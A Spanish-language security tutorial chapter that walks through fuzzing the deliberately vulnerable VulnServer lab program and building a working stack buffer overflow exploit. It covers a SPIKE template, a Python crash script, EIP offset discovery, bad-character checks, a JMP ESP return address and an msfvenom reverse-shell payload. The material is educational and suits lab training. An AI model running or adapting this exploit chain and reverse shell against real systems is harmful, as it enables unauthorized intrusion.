5.3.2. Creación de Exploit con técnica de Fuzzing
Tabla de contenidos:
- 5.3.2.1. Introducción: Técnica de fuzzing
- 5.3.2.2. Testing fuzzing y debugging servicio VULNSERVER
- 5.3.2.3. Examen de dirección memoria registro EIP: offset
- 5.3.2.4. Comprobación de caracteres hexadecimal no deseados en la shellcode
- 5.3.2.5. Corrección del flujo en la pila
- 5.3.2.6. Introducir la shellcode en el exploit
- 5.3.2.7. Nota final sobre la creación de exploits
Exploit con Fuzzing
Este epígrafe sigue explorando las formas de crear un exploit aprovechando una vulnerabilidad de un desbordamiento de buffer, como se ha visto en el anterior punto de Ataque de desbordamiento de buffer en pila (Stack Buffer Overflow). Por lo tanto, es imprescindible haber seguido con detenimiento los puntos anteriores en los que se explican algunas de las herramientas que se van a utilizar como son OllyDbg y tener claros algunos conceptos propios del debugging y la ingeniería inversa de software. En este caso, además, la práctica se va centrar en explotar un software de red vulnerable a través de nuevas técnicas como el fuzzing.
5.3.2.1. Introducción: Técnica de fuzzing
La técnica de fuzzing consiste en encontrar vulnerabilidades en un software, basándose en la inyección de datos de forma aleatoria o de forma masiva para comprobar la capacidad de desbordamiento de un buffer tal y como se ha explicado en el anterior punto. Es una técnica dinámica y las combinaciones típicas de un ataque de fuzzing suelen contener diferentes tipos de argumentos y valores en un determinado programa: números, caracteres, secuencias puras de binarios, metadatos, etc. Se llevan a cabo para diferentes tipos de protocolos y aplicaciones. Desde Metasploit con una búsqueda rápida para módulos auxiliary/fuzzers se puede ver a qué servicios están enfocados (dns, ftp, http, smb, ssh, etc.):
Nota: En el ámbito de la seguridad de aplicaciones web, también se utiliza de forma estándar las técnicas de fuzzing para ver cómo responde el servicio ante el paso de diferentes parámetros en los métodos GET/POST, o para identificar a un usuario mediante diccionarios. No obstante, en ningún caso se debe asociar como una simple técnica de fuerza bruta.
5.3.2.2. Testing fuzzing y debugging servicio VULNSERVER
Para probar la técnica de fuzzing se va a utilizar un programa clásico para fines demostrativos y pedagógicos. En concreto, se va a utilizar el programa VULNSERVER (https://github.com/stephenbradshaw/vulnserver). VULNSERVER es un software vulnerable desarrollado para hacer pruebas de fuzzing y comprender como funciona esta técnica. Lo que hace es iniciar un servicio TCP en el puerto 9999. Se puede iniciar en un entorno de Windows, mientras el fuzzing y el posterior desarrollo del exploit, se puede hacer en un Kali Linux u otra versión de Linux con los componentes necesarios (un editor de texto, Netcat, Python, etc.). En el entorno de Windows, también es necesario disponer de la instalación de Ollydbg y Wireshark. Para realizarlo de una forma dinámica y didáctica, seguir los siguientes pasos:
1. Inicio y testeo de VULNSERVER
- Se inicia el archivo ejecutable descargado exe, dejando el servicio abierto:
- Para testear el servicio desde Kali Linux se pueden usar diferentes técnicas, por ejemplo usando Netcat o crear un socket con Python. Una vez conectado al servicio, si se introduce HELP se verán los diferentes parámetros que se pueden utilizar para introducir valores (STATS, RTIME, TRUN…) y ver así cómo actúa la comunicación entre cliente y servidor:
nc -nv 9999
- Otra acción básica a realizar es iniciar Wireshark para ver cómo es el intercambio entre paquetes de datos entre la máquina cliente (Kali Linux) y vulnserver. Una opción que resultará muy útil desde Wireshark será la opción de [Botón Secundario] + Follow + TPC Stream, pudiendo identificar más en concreto los valores de la comunicación:
- Antes de iniciar el fuzzing contra el servicio, también se deberá ver desde la máquina donde se ejecuta vulnserver en que registro se produce el desbordamiento de buffer. Para ello, cuando se está atacando el servicio, se debe tener agarrado vulnserver a una herramienta de debugging como Ollydbg. Esta opción está disponible en File → Attach (extremo superior izquierdo). Una vez capturado el servicio, para iniciar el servicio de nuevo de da a F9:
2. Fuzzing con SPIKE
SPIKE es la herramienta que se va a utilizar para fuzzear vulnserver, aunque existen muchas otras, incluyendo los módulos de Metasploit. SPIKE incorpora una serie de funciones y módulos que se agregan a herramientas para enviar datos a servicios como es generic_send_tcp. Al ser una herramienta sencilla e incluida por defecto en Kali Linux, resulta útil para aprender y practicar. SPIKE viene integrada en su uso a través de plantillas o ficheros que contienen métodos específicos que se usan para dar instrucciones concretas sobre la forma en que se tienen que enviar los datos para hacer fuzzing. Estos ficheros han de tener extensión .spk y los principales métodos que pueden contener son los siguientes:
s_string(«argumento»); | Envía el argumento sin modificación. |
s_string_variable(«random»); | Envía un set de datos aleatorios |
s_readline(); | Lee una línea de la respuesta del servidor |
Ejemplo para fichero de SPIKE para vulnserver (file.spk):
s_string("TRUN ");
s_string_variable("*");
Un ejemplo básico de ataque con SPIKE combinado con generic_send_tcp sería por ejemplo:
generic_send_tcp file.spk 0 0
En este ejemplo, se está indicando con el primer 0 el uso de la primera variable del script (es decir TRUNK), y el segundo 0 indica el primer elemento fijo del surtido de datos aleatorios. Esto no está hecho de forma casual, pues el objetivo es poder identificar las cadenas que pueden causar el desbordamiento de buffer, examinando con OllyDbg y Wireshark.
Nota: Este ejemplo (fichero trunk.spk) es específico para mostrar la vulnerabilidad de vulnserver, sabiendo de antemano que el argumento TRUN es vulnerable.
Antes de realizar la instrucción con generic_send_tcp tal y como se ha mostrado, es el momento de enlazar el servicio de vulnserver con OllyDbg y mantener una sesión con Wireshark para determinar los datos importantes a la hora de examinar el desbordamiento de buffer y construir el exploit. En efecto, al realizar el fuzzing contra el servicio vulnerable se puede comprobar que el servicio se detiene y en los registros de OllyDbg se aprecia datos sobrescritos, es decir, que se ha producido un ataque de desbordamiento de buffer y el servicio es vulnerable:
Se observa claramente que:
- Registro EAX contiene el inicio de la cadena enviada por SPIKE.
- Registros ESP, EBP y EIP están sobre escritas por la cadena enviada por SPIKE (41 es el carácter A en hexadecimal, que se corresponde con un byte).
3. Obtener cadena y reproducir el fallo
Habiendo conseguido provocar el desbordamiento de buffer, ahora se debe obtener información de la cadena causante del fallo en Wireshark que ha sido enviada a través del paso anterior mediante la técnica de fuzzing. Se puede poner el filtro del puerto usado en vulnserver (tcp.port==9999).
Viendo la información de los registros afectados con OllyDbg, se sabe que la cadena inicial es TRUN /.:/A (en concreto, en el registro EAX). Con la función TPC Stream de Wireshark se pueden examinar los registros marcados en rojo que indican algún tipo de incidencia (flag RST). Tras una breve inspección de estos casos, se puede encontrar la cadena completa:
Con esta información, ya se puede replicar el error y examinar ciertas claves para comprender como se comportan los registros de memoria utilizados en el proceso. En este tipo de prácticas, lo que se suele hacer es reproducir el fallo de vulnserver con un script en Python. El siguiente código se guardará en un fichero crash.py (el nombre que se quiera…). Este script construye una cadena con los parámetros iniciales (TRUNK /.:/) y las A multiplicado por un valor próximo a 5000, pues la cadena que originó el fallo tiene 5060 bytes cómo se puede ver en la imagen superior, y después crear un socket que se conecta a vulnserver y hacer la petición (es importante añadir correctamente la IP del target):
#!/usr/bin/python
import socket
target_ip = "192.168.1.55"
port = 9999
payload = "TRUN /.:/" + 5000 * 'A' # String in EAX
try:
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target_ip,port))
s.send(payload)
print "[+] " + str(len(payload)) + " Bytes Sent"
s.close()
except:
print "[-] Crashed"
Al ejecutar el programa crash.py con vulserver capturado con Ollydbg, debería mostrarse nuevo el error en los registros que se han sobreescrito con valores A:
5.3.2.3. Examen de dirección memoria registro EIP: offset
Hasta este punto solo se ha encontrado un método para explotar una vulnerabilidad en el programa vulnserver y sobrescribir el registro EIP, que indica la dirección de memoria de la siguiente instrucción durante el flujo de ejecución del programa. No obstante, el objetivo es sobreescribir este registro con un valor de la memoria para redirigir el flujo hacia instrucciones maliciosas como podrían ser invocar una shell reversa (se verá más adelante como insertar este tipo de payload). En el punto anterior, se han utilizado métodos de cálculo basado en la capacidad de memoria declarada en el buffer de pila y utilizando herramientas de examen de la memoria como GNU Debugger, pues se conocía este dato al poder inspeccionar el código del programa.
Como este no es el caso, se van a realizar otras técnicas. Enviando el carácter A las veces que haga falta, no aporta mucha información aunque se sobrescriba el EIP (lo importante es encontrar la posición de EIP). Para ello se puede realizar un patrón de caracteres generado aleatoriamente y enviarlo al servicio (vulnserver) con el objetivo de determinar lo que se llama un offset. En términos de memoria, un offset indica el desplazamiento desde un inicio hasta un elemento dado (normalmente en bytes). Para generar este patrón aleatorio se puede utilizar el siguiente comando en Kali Linux (se pone 5000, que es valor aproximado de los caracteres enviados para explotar la vulnerabilidad):
msf-patern_create -l
Habiendo obtenido esta larga cadena de caracteres, se trata simplemente de volver a reproducir el fallo en vulnserver pero en esta ocasión sustituyendo los 5000 valores de A por estos, de modo que el script crash.py solo se debería modificar la instrucción del medio que es la que declara los datos a enviar:
(…)
payload = "TRUN /.:/" + "Aa0Aa1A2A…"
(…)
Ahora se vuelve a ejecutar el script de Python, y se descubre que el registro EIP está sobrescrito con un nuevo valor, que servirá para determinar el offset:
El valor nuevo para el registro EIP es 386F4337. Para determinar el offset y no tener que realizar cálculos, se puede utilizar la herramienta msf-pattern_offset que también está incluido por defecto en Kali Linux. Con el siguiente comando, muestra que el valor para el offset es de 2003, o lo que sería lo mismo, se está indicando un desplazamiento de 2003 bytes.
msf-pattern_offset -q
Si hasta este punto se ha seguido bien: que se está enviando un set de datos de 5000 causante del error en el programa (con el argumento TRUN), y el offset está indicando el desplazamiento en bytes relativo desde el inicio de la cadena, sobreescribir el registro EIP es un simple ejercicio de cálculo. Teniendo en cuenta que vulnserver es un ejecutable de 32 bits, entonces el registro EIP almacena un total de 4 bytes, que se pueden escoger como un valor específico (por ejemplo B, que en hexadecimal es \x42). Para los intervalos anteriores (2003 bytes indicados por el offset) y posteriores (2993 bytes) se puede utilizar otros caracteres para completar los 5000 bytes, por ejemplo A (x/41) y C (x/43). Entonces, solo se tiene que cambiar en el script crash.py de nuevo el valor del parámetro por algo como esto (se puede utilizar hexadecimal o como cadena independientemente al usar valores en la cadena):
Al ejecutar el script, se puede observar cómo se sobrescribe con la exactitud deseada el registro EIP, que solo contendrá los valores B. No obstante, para redondear el futuro exploit, es necesario hacer una comprobación de caracteres malos y corregir el flujo una vez introduzcamos la shellcode.
5.3.2.4. Comprobación de caracteres hexadecimal no deseados en la shellcode
En el siguiente punto se va a mostrar cómo introducir el código de la shellcode en hexadecimal en el exploit como carga útil o payload (empleando para ello Msfvenom, el generador de payloads de Metasploit). No obstante, al estar en código hexadecimal, es necesario comprobar previamente si algún carácter en hexadecimal no se puede emplear correctamente (en este caso, debería sacarse con el parámetro específico -b).
Respecto al script que se está arreglando (crash.py), la técnica consiste en crear una nueva variable que contenga todo el abecedario en hexadecimal, excepto el valor 0 (a tener en cuenta, al ser memoria de 32 bits, cada ¼ parte de bloque de memoria toma valor de 8 bits, o lo que es lo mismo un rango de valores que va de 00000001 a 1111111, que en hexadecimal se corresponden a 01 y FF). Por ejemplo, empleando como nueva variable chars:
chars=(
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")
Se añade la variable después de los valores ocupados por el EIP (BBBB) y posteriormente, hay que restar este número de bytes que se corresponde a este abecedario en la parte que queda más allá del offset y el bloque para el registro EIP, en tanto que va a representar instrucciones de la pila que van a contener los datos de la shellcode. Para ello se puede emplear la función len de Python y restando en donde estaban los valores C, quedando como se muestra a continuación:
payload = "TRUN /.:/" + "A" * 2003 + "BBBB" + chars + "C" * (5000 - 2003 - 4 - len(chars))
Ahora se trata de ejecutar de nuevo el script y ver cómo se comporta el programa vulnerable en OllyDbg (como siempre, tiene que estar capturado). Para comprobar que no hay ningún carácter que se pueda excluir, se va al registro ESP y se realiza la acción con el botón secundario de Follow in Dump (volcado en la pila). Se deben comprobar que todos los registros del abecedario están bien inscritos en la pila.
Nota: Si no fuera el caso, entonces al crear la shellcode con Msfvenom, ¡se tendría que añadir el parámetro -b seguido del valor a excluir!
5.3.2.5. Corrección del flujo en la pila
Después de comprobar que no es necesario excluir ningún valor hexadecimal para la shellcode, se debe retomar el script crash.py anterior y modificar la dirección de memoria para el registro EIP, que ahora se sobrescribe con valor BBBB (/x42/x42/x42/x42). Este valor de memoria no es válido y debe sobrescribirse en EIP una dirección de memoria que apunte a una instrucción que permita ejecutar la shellcode.
En términos técnicos, se puede hablar de corregir el flujo de ejecución del programa o saltar del buffer a donde se encontraría la shellcode (que se introducirá en el siguiente punto), a través de la instrucción JMP/CALL ESP (EIP). En lenguaje ensamblador de 32 bits (x86) está instrucción indica cambiar el flujo de ejecución del programa al valor contenido en el registro ESP (que contiene la dirección del tope de la pila). Después de ejecutar «JMP ESP«, el registro EIP se actualizará con el valor de ESP, lo que hace que la CPU comience a ejecutar instrucciones desde esa nueva dirección (donde se hallará la shell). En términos prácticos se puede hacer lo siguiente:
- Antes de la comprobación de las caracteres malos, se ha visto que en el registro empezaba la parte de la cadena que contenía las C. Se debe hallar una instrucción de JMP ESP o CALL ESP.
- Para hacerlo, se abre el programa vulnserver de nuevo con OllyDbg y se da al botón E (Executable Modules) en la parte de arriba. Normalmente se muestran librerías de enlace dinámico (DLL). Se selecciona uno que no esté asociado al programa en ejecución vulnserver (por ejemplo: dll):
- Una vez seleccionado (importante hacerlo), OllyDbg retorna a la interface principal asociando a la instrucción de este módulo (dirección 77D7100). Ahora, con la opción de búsqueda desde esta instrucción (botón secundario Search for → All), se busca una instrucción JMP ESP asociado y se seleccionado una para encontrar la dirección de memoria de este salto (por ejemplo: en dirección 77E21155):
- Anotando esta dirección de memoria, ahora se introduce en el script py en los valores para el registro B (hasta ahora todo BBBB). Es fundamental indicar esta dirección de memoria al revés y en pares como se indica en la imagen (77E21155 → \x55\x11\xE2\x77):
Nota: El motivo de la transcripción de direcciones de memoria de un formato a otro, tiene como motivo lo que se llama el endianismo. En este documento no se va a profundizar sobre esta cuestión para no alargar más el artículo, se puede encontrar información varia en internet: https://es.wikipedia.org/wiki/Endianness
Resulta muy interesante añadir un breakpoint (F2) en esta dirección (77E21155) y ver cómo se comporta el programa al ejecutar crash.py. Como se ve, en efecto, se detiene en esta dirección, que se queda en el registro EIP justo antes de dar error:
5.3.2.6. Introducir la shellcode en el exploit
Llegando a este punto, ya queda la parte seguramente más fácil de todo este proceso. Se genera la shellcode reversa (una simple como windows/shell_reverse_tcp, emplenado netcat) con Msfvenom en formato hexadecimal para introducirla en el script de Python. Hay que tener en cuenta los diferentes parámetros que no se van a detallar a continuación (sí al menos excluir el hexadecimal 00 en la generación, que no se ha incluido en la comprobación de valores malos):
msfvenom -p windows/shell_reverse_tcp LHOST= LPORT= -b "\x00" -f python -a x86 -e x86/shikata_ga_nai EXITFUNC=thread
A la hora de modificar el script crash.py que incluye exploit y payload (shell reversa), hay que tener en cuenta los siguientes aspectos:
- Se pueden aprovechar los datos aportados por Msfvenom, creando la variable buf que contendrá el código de la shellcode. Se deben sacar todas las b.
- Como ya se explicó en la práctica anterior, se recomienda rellenar el buffer con instrucciones NOP (No operation), que simplemente indican desplazar el flujo de ejecución hasta una instrucción válida. Estos tienen valor hexadecimal \x90 y aseguran desplazar el flujo de ejecución hasta donde halla la shellcode. En este caso, se ha puesto 16 bytes con este registro, pero podrían haber sido 20, 40, etc… (dentro de la lógica de los 5000 bytes del buffer).
- Para cuadrar estos datos y la nueva variable que contiene la shellcode, las instrucciones NOP se colocan inmediatamente después de los datos para el registro de memoria EIP a sobrescribir y posteriormente la shellcode. Los otros datos de los extremos se podrán mantener como caracteres arbitrarios A y C. Hay que tener en cuenta estos ajustes en la cola para los bytes de C, teniendo que restar de forma proporcional los bytes. Así se tiene al final el siguiente dato para la variable payload:
buffer = "TRUN /.:/" + "A" * 2003 + "\x55\x11\XE2\x77" + "\x90" * 16 + buf + "C" * (5000 - 2003 - 4 - 16 - len(buf))
Ahora simplemente se genera un socket en la máquina del atacante con Netcat, de acuerdo a los parámetros de la shellcode generada (LPORT, LPORT) y se inicia el programa vulnserver. ¡Al ejecutar el script crash.py ya se obtiene la shell!
5.3.2.7. Nota final sobre la creación de exploits
Este ejemplo no ha sido tanto demostrar la complejidad técnica de crear un exploit, sino lo peligroso que puede llegar a ser la distribución de programas deliberadamente vulnerables a este tipo de ataques, con conocimiento previo del atacante. Evidentemente, en esta muestra ya se sabía la vulnerabilidad y después crear el exploit puede ser un proceso relativamente automatizable, aunque hay que tener en cuenta que en el mundo real la obtención de una vulnerabilidad como la que puede tener vulnserver requiere muchísimo trabajo de ingeniería inversa y muchísimos más conocimientos para determinar todas las casuísticas (aquí solo se ha mostrado la punta del iceberg).
No obstante, supóngase que un programa original y seguro es alterado por un experto para que sea deliberadamente vulnerable, es ahí donde realmente está la peligrosidad. Por ejemplo, en este caso, si se introduce o parchea un programa con vulnserver, probablemente el sistema aunque pueda dudar, tal vez no lo detecta como algo deliberadamente peligroso, pero ya podría dejar una puerta abierta para quien sea conocedor y haya orquestado tal vez todo el montante. De hecho, este es uno de los vectores de ataque más comunes hoy en día, que no consiste tanto en buscar una vulnerabilidad desconocida en un programa seguro (que supone una gran inversión), sino distribuir al enemigo software deliberadamente vulnerable haciéndolo pasar por seguro.